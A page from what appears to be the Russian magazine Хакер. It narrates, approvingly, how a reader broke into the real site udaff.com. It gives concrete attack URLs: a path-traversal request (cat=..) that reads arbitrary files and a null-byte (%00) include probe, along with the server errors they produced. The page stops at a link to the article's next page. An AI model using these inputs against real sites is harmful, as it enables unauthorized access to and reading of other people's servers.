Жжом автора

mag (mag@wapp.ru)

Хакер, номер #085, стр. 085-060-1

Тупые баги и история взлома udaff.com

Сейчас выросло целое поколение интернет-бакланов, тусующихся на udaff.com, половина из которых - первыенах, а другие жжут и писшут есче. Ребят таких реально много. Недавно вот нам написал чувак, который долго и упорно слал редакторам udaff.com свои креативы, но эти сволочи взяли и заигнорили парня. Тогда наш герой не обломался: он очень обиделся и решил поломать сайт Удава.

[от первого лица]

При первом взгляде на формат ссылок на сайте (например, http://udaff.com/creo/51377.html) стало понятно, что движок использует mod_rewrite web-сервера Apache. Действительно, глупо было предполагать, что на сервере в папках хранится куча html-файлов :). Это не есть гуд, нельзя в параметры, передаваемые скрипту, ставить кавычку и прочие нехорошие символы. Тогда я стал изучать альтернативные проекты Удава, ссылки на которые присутствуют на главной странице. Первым делом я попал на http://news.udaff.com. Здесь уже не использовался мод_рерайт. Это уже лучше. Можно поиграть с параметрами. Я перешел по ссылке на новость http://news.udaff.com/index.php?cat=vov2&news=1, подставив в параметр news=1' кавычку. Система выдала мне ошибку:

Waing: fopen(news/vov2/1'): failed to open stream: No such file or directory in /home/udaff.com/news/news.udaff.com/news.php on line 3

Не могу открыть файл

[падонки жжут]

Вау! Эта ошибка должна позволить нам прочитать любые файлы на системе! Что я и сделал, перейдя по такой ссылке:

http://news.udaff.com/index.php?cat=..&news=index.php

Здесь cat-каталог, news-файл. На эту ссылку скрипт выплюнул мне страницу, где имелось следующее:

$catnames = array ("incidents" => "Проишэствия", "politic" => "Политека", "economic" => "Иканомека", "obscestvo" => "Обсчество", "tech" => "Ноука и техника", "medic" => "Медецына", "sport" => "Спорт", "nature" => "Прерода", "reports" => "Рипартажы", "vov2" => "ВОВ 2", "sluzhebnaya" => "Служебная"); ::

и штук 15 таких ошибок:

Waing: stristr(): Empty delimiter. in /home/udaff.com/news/news.udaff.com/news.php on line 152

То есть скрипт читал почему-то только первые n символы из файла. Поэкспериментировав еще c несколькими файлами, я понял, что тут делать нечего. Тогда я пошел дальше. Следующим объектом для изучения стал http://flash.udaff.com. Здесь можно скачать падоначьи флешки со страницы http://flash.udaff.com/indaflashki.php. И вот что мы получим, подставив в параметр id кавычку:

Waing: main(header'.inc): failed to open stream: No such file or directory in /home/udaff.com/flash/html/flashka.php on line 96

Waing: main(): Failed opening 'header'.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/udaff.com/flash/html/flashka.php on line 96

Тут можно поиграть с инклудом, вставив в конце ссылки символ конца строки %00, например, перейдя на http://flash.udaff.com/flashka.php?id=./flashka.php%00, мы получим такую ошибку:

Waing: main(header./flashka.php): failed to open stream: No such file or directory in /home/udaff.com/flash/html/flashka.php on line 96

Содержание  Вперед на стр. 085-060-2
ttfb: 3.6039352416992 ms